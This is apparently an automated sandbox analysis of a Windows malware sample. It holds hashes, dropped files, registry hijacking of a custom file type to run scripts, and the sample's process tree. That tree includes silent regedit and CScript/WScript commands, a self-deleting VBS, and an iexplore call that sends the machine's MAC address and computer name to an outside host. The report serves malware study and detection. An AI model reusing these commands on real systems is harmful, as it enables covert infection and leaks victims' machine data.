Analysis
-
max time kernel
185s -
max time network
196s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
03-10-2022 07:00
Behavioral task
behavioral1
Sample
a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe
Resource
win7-20220812-en
windows7-x64
11 signatures
150 seconds
Behavioral task
behavioral2
Sample
a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe
Resource
win10v2004-20220812-en
windows10-2004-x64
11 signatures
150 seconds
General
-
Target
a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe
-
Size
31KB
-
MD5
6e9f388f90ef2c3cb21e43a1caa97604
-
SHA1
06f497d9b24c2316cc1f2a2f4e1271e7c53c2ae6
-
SHA256
a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0
-
SHA512
b124bae32a984b455b871e47944f8c520236d8f44850ac90c0f727e5b5d04b57352a8fb082bb1a4deccc553353690dfd2c75f9059a8f2e845c8af07c54670378
-
SSDEEP
768:Vn1eOBcaAtWQtmNukzaUg43B3JQPfbcG1Tiyb2:VnJwWQt+qI3wbcr
Score
8/10
Malware Config
Signatures
-
resource yara_rule behavioral1/memory/1176-54-0x0000000000400000-0x000000000042A000-memory.dmp upx behavioral1/memory/1176-57-0x0000000000400000-0x000000000042A000-memory.dmp upx behavioral1/memory/1176-72-0x0000000000400000-0x000000000042A000-memory.dmp upx -
Deletes itself 1 IoCs
pid Process 1796 wscript.exe -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\Common Files\tk.reg a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe -
Drops file in Windows directory 5 IoCs
description ioc Process File opened for modification C:\Windows\My.ini a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe File opened for modification \??\c:\windows\qrytmimya.olade a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe File created \??\c:\windows\1_qrytmimya.olade a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe File opened for modification \??\c:\windows\pack.wsf a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe File opened for modification \??\c:\windows\qrytmimya.olade Cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{39943DF1-4412-11ED-991C-C6F54D7498C3} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e0f3d159765a7f43b6bf060b4b70c9a3000000000200000000001066000000010000200000002a2151a29570180262d2016986dbec33480e68aded05fe99b06238a7d948a15b000000000e8000000002000020000000106085d37229f98dd2b75393698db073d5ac2fb9f3a190c0f77415fc248b529120000000f1cb9f32174c79bce74b780119acabb3a314f872a8c6e617fb8bddaf4c4d9ddc40000000ace9028994d5460838089a197d04ffda56d85d9889b39e6ad208c27f8bcde490dbb83c764a988c9b319ab12654fac8cd858f6fdb7962afcc80a8b3372a37a8b1 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = b009fb231fd8d801 iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e0f3d159765a7f43b6bf060b4b70c9a300000000020000000000106600000001000020000000789ab982bd13e06b81d240077acf6ccf1274ce107670d2a0af17f11592933b76000000000e80000000020000200000001102774a96aa99e9c5147973b24f56e8564dc9a8dfd61d342d8b7202041645e0900000006047b9fb67bda01e951de571af88170c4949d8ee112b7f981adac8ffb95b10c8ea0492da9b61a787827c8706f6e2e0ffee39b18963afbf760fcc40128e1a0cf2885c2a9e8f42644341aa2b895ae9028099f4ce80cdb04a2409bb4c13dc8ca5c442b227c6e1ea02d37937a8e5cd3ad099e1970814f289454e3dd8d140c92396837dc9e18bec1d86b58cb8a8b63841daae400000004f9b51975d72e5a450e191de841f057d7a0a0070bf36b4091dbde9419989dd4441612dd01d87d08f4af2af692f6db85306536885cc28fdf24670f9391c17c873 iexplore.exe -
Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\NeverShowExt regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\Shell\????(&O)\ = "????(&H)" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder\ regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shell\Open2\MUIVerb = "@C:\\Windows\\System32\\wshext.dll,-4511" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ = "Internet Explorer" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.olade\ = "tkfile" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shell\open\command regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shellex\ContextMenuHandlers\ regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\ScriptEngine regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shell\Edit\Command\ = "C:\\Windows\\SysWow64\\Notepad.exe %1" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shell\open\command\ = "C:\\Windows\\SysWow64\\WScript.exe \"%1\" %*" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\NeverShowExt\ regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\DefaultIcon\ = "%SystemRoot%\\SysWow64\\url.dll,0" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\DefaultIcon regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\DefaultIcon\ = "C:\\Windows\\SysWow64\\WScript.exe,3" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shell\Print\Command\ = "C:\\Windows\\SysWow64\\Notepad.exe /p %1" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\ = "JScript Script File" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\ScriptHostEncode regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\ScriptHostEncode\ = "{e96f0e95-227e-4cc1-8f1e-2b0c01b1f080}" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shell\ = "Open" regedit.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849} regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shellex\IconHandler regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\Shell\Edit regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\ShellEx regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\ShellEx\PropertySheetHandlers regedit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\LocalizedString = "Internet Explorer" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\Shell\Edit\Command regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shell\Open2\Command\ = "C:\\Windows\\SysWow64\\CScript.exe \"%1\" %*" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32\ = "%SystemRoot%\\SysWow64\\SHELL32.dll" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\Shell regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\LocalizedString = "Internet Explorer" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\Shell\????(&O)\Command regedit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ = "C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\FriendlyTypeName = "@%SystemRoot%\\System32\\wshext.dll,-4804" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\Shell\Open\Command regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\ShellEx\DropHandler regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\ShellEx\PropertySheetHandlers\WSHProps regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\IntroText = "Internet Explorer" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32\ThreadingModel = "Apartment" regedit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ regedit.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder\Attributes = "1" regedit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ = "Internet Explorer" regedit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\IntroText = "Internet Explorer" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shellex regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shell\Open2\ = "Open &with Command Prompt" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\Shell\Print regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\Shell\Print\Command regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\ScriptEngine\ = "JScript" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\Shell\Open2\Command regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32 regedit.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shell\open regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shell\open\command\ = "WScript.exe" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shellex\ContextMenuHandlers regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shellex\PropertySheetHandlers\WSHProps\ = "{e96f0e95-227e-4cc1-8f1e-2b0c01b1f080}" regedit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000_CLASSES\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ = "????(&H)" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\CLSID\ = "{e96f0e95-227e-4cc1-8f1e-2b0c01b1f080}" regedit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\tkFile\Shell\Open regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shellex\DropHandler\ = "{e96f0e95-227e-4cc1-8f1e-2b0c01b1f080}" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon\ = "C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\ = "????" regedit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\tkfile\shell\ = "open" regedit.exe -
Runs .reg file with regedit 1 IoCs
pid Process 2040 regedit.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1372 iexplore.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 1176 a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe 1372 iexplore.exe 1372 iexplore.exe 1136 IEXPLORE.EXE 1136 IEXPLORE.EXE 1136 IEXPLORE.EXE 1136 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 32 IoCs
description pid Process procid_target PID 1176 wrote to memory of 1336 1176 a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe 27 PID 1176 wrote to memory of 1336 1176 a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe 27 PID 1176 wrote to memory of 1336 1176 a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe 27 PID 1176 wrote to memory of 1336 1176 a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe 27 PID 1336 wrote to memory of 2040 1336 cmd.exe 29 PID 1336 wrote to memory of 2040 1336 cmd.exe 29 PID 1336 wrote to memory of 2040 1336 cmd.exe 29 PID 1336 wrote to memory of 2040 1336 cmd.exe 29 PID 1176 wrote to memory of 1700 1176 a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe 31 PID 1176 wrote to memory of 1700 1176 a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe 31 PID 1176 wrote to memory of 1700 1176 a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe 31 PID 1176 wrote to memory of 1700 1176 a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe 31 PID 1700 wrote to memory of 896 1700 Cmd.exe 33 PID 1700 wrote to memory of 896 1700 Cmd.exe 33 PID 1700 wrote to memory of 896 1700 Cmd.exe 33 PID 1700 wrote to memory of 896 1700 Cmd.exe 33 PID 1176 wrote to memory of 964 1176 a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe 34 PID 1176 wrote to memory of 964 1176 a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe 34 PID 1176 wrote to memory of 964 1176 a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe 34 PID 1176 wrote to memory of 964 1176 a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe 34 PID 1176 wrote to memory of 1372 1176 a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe 38 PID 1176 wrote to memory of 1372 1176 a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe 38 PID 1176 wrote to memory of 1372 1176 a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe 38 PID 1176 wrote to memory of 1372 1176 a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe 38 PID 1372 wrote to memory of 1136 1372 iexplore.exe 39 PID 1372 wrote to memory of 1136 1372 iexplore.exe 39 PID 1372 wrote to memory of 1136 1372 iexplore.exe 39 PID 1372 wrote to memory of 1136 1372 iexplore.exe 39 PID 1176 wrote to memory of 1796 1176 a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe 40 PID 1176 wrote to memory of 1796 1176 a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe 40 PID 1176 wrote to memory of 1796 1176 a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe 40 PID 1176 wrote to memory of 1796 1176 a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe 40
Processes
-
C:\Users\Admin\AppData\Local\Temp\a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe"C:\Users\Admin\AppData\Local\Temp\a85f97830728f6474ddc54f283cc52e72534e63d610843a34ab2b0b11ad621a0.exe"1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1176 -
C:\Windows\SysWOW64\cmd.execmd.exe /c regedit /s "C:\Program Files\Common Files\tk.reg"2⤵
- Suspicious use of WriteProcessMemory
PID:1336 -
C:\Windows\SysWOW64\regedit.exeregedit /s "C:\Program Files\Common Files\tk.reg"3⤵
- Modifies registry class
- Runs .reg file with regedit
PID:2040
-
-
-
C:\Windows\SysWOW64\Cmd.exeCmd.exe /c CScript /nologo "c:\windows\pack.wsf" "c:\windows\1_qrytmimya.olade" >> "c:\windows\qrytmimya.olade"2⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1700 -
C:\Windows\SysWOW64\cscript.exeCScript /nologo "c:\windows\pack.wsf" "c:\windows\1_qrytmimya.olade"3⤵PID:896
-
-
-
C:\Windows\SysWow64\WScript.exe"C:\Windows\SysWow64\WScript.exe" "C:\windows\qrytmimya.olade"2⤵PID:964
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://u.5136688.com/setuptj.asp?a_ip=&a_mac=C6:F5:4D:74:98:C3&a_cpname=ZERMMMDR&a_user=me&a_locip=0.0.0.02⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1372 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1372 CREDAT:275457 /prefetch:23⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1136
-
-
-
\??\c:\windows\SysWOW64\wscript.exec:\windows\system32\wscript.exe C:\Users\Admin\AppData\Local\Temp\Killme.vbs2⤵
- Deletes itself
PID:1796
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
4KB
MD5d672124da874aa8010dee22ca7963ed6
SHA1bffa44a6c0d14cb665d006600f6b55535a19c933
SHA25622d8954300ed4663e74478d89602ba0e0ef3734411cd782979506b655012ad74
SHA51233c7af8bc6a8460156dad05f483904b2ad9ff3b49d3c31ae8d405f878a60afec7083b31b8e76ff03eeb36150d89d3df5bae035e688dff0c1bd9d0f12154e6e30
-
Filesize
307B
MD5afff93f898e03d9b64b1e052fcdcef7d
SHA1ac306b8a8e85949943b53900d82cfd2ba4f7df1a
SHA256ff316f964a1b0e12b5dd359911c44ccb911d5f22f7359de7b916fdce6b5393c5
SHA5120d347643edeb07a386ec5ff3ee7a9264896abbaa6ffc6cf3e3edad5df3d66ae079a3b03e3e1f6ade0feb4d6488e2d42dfe55450cc7540e95a93631a4a2e287a3
-
Filesize
48KB
MD53e21a85691c23cd289de713f522cd90e
SHA1d599e6a053737248a907dc3df96f14c97453cf5c
SHA256eb6cfc50a02c440b62c088a1e783c435773ed43cbe7f3825d1bb3a8a5464cbfb
SHA51250974d14500cb03cfdfcad9d80ffd64a6f9ecf441f6a0a9b38c3f6be67c3d222bc200e109e9b5252c6a9d369433e438ee8ac0f5f01ebdd78d5e17a7b64479c4b
-
Filesize
8KB
MD5a83fdf4f29a7e978d33eeb3674df531b
SHA160ea7b41816bc2044a6224e38352e56667d3d5ed
SHA256f85f16fb946e6b4d7ef4f6523276a52b4a68d04bdf340312adc2ccdef4cee845
SHA5127ad293f3032054c7e55e89a558dde1e4465c31c1c9fd612e3f56fc209b40826af5273fe140273cf467a96dcda805f13844fa6244cbe2e113bfcf131117acdbd0
-
Filesize
37KB
MD5db8007df67d4685885b7ee67083bd60d
SHA1fdf001ab1a95326d3e1ef41129bc357f05e3c109
SHA2562c026ad5ce49fb8d68a64177e56b915e6dbfbaaaca43dc7c13b8242bf8fe64cd
SHA51285713368cbf631f623079668f9b3caa87bb8899b1afeb14dafcf25ca892170f609a11c721815e66a45731b2f57b07ee7bd19cc23a78b5dc550047ce211ebdc91